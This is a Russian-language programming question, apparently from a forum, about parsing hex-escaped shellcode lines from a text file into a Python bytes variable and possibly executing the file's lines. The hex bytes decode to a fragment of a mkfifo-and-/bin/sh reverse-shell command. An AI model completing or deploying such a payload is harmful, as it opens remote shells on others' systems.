У меня есть текстовый файл, содержащий шелл-код, который выглядит следующим образом:
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e"
, и я хочу автоматически использовать этот шелл-код и связать его с переменной в моем скрипте python, чтобы использовать его. Я написал скрипт, похожий на этот
myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf = b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)
, чтобы прочитать содержимое файла, удалить из него ненужные символы и оставить только необработанный шелл-код, который мне нужен, и преобразовать его в байты.
Я также пробовал с байтами, bytearray, buf += b"%s"%
(a)
, поэтому всякий раз, когда я печатаю buf, он выводит шелл-код как есть, но когда я копирую содержимое shellcode.txt и вставляю его в сценарий python и print (buf) он печатает декодированную версию шелл-кода.
поэтому, если этот метод не работает, могу ли я прочитать файл и выполнить каждую его строку, как если бы он был часть сценария?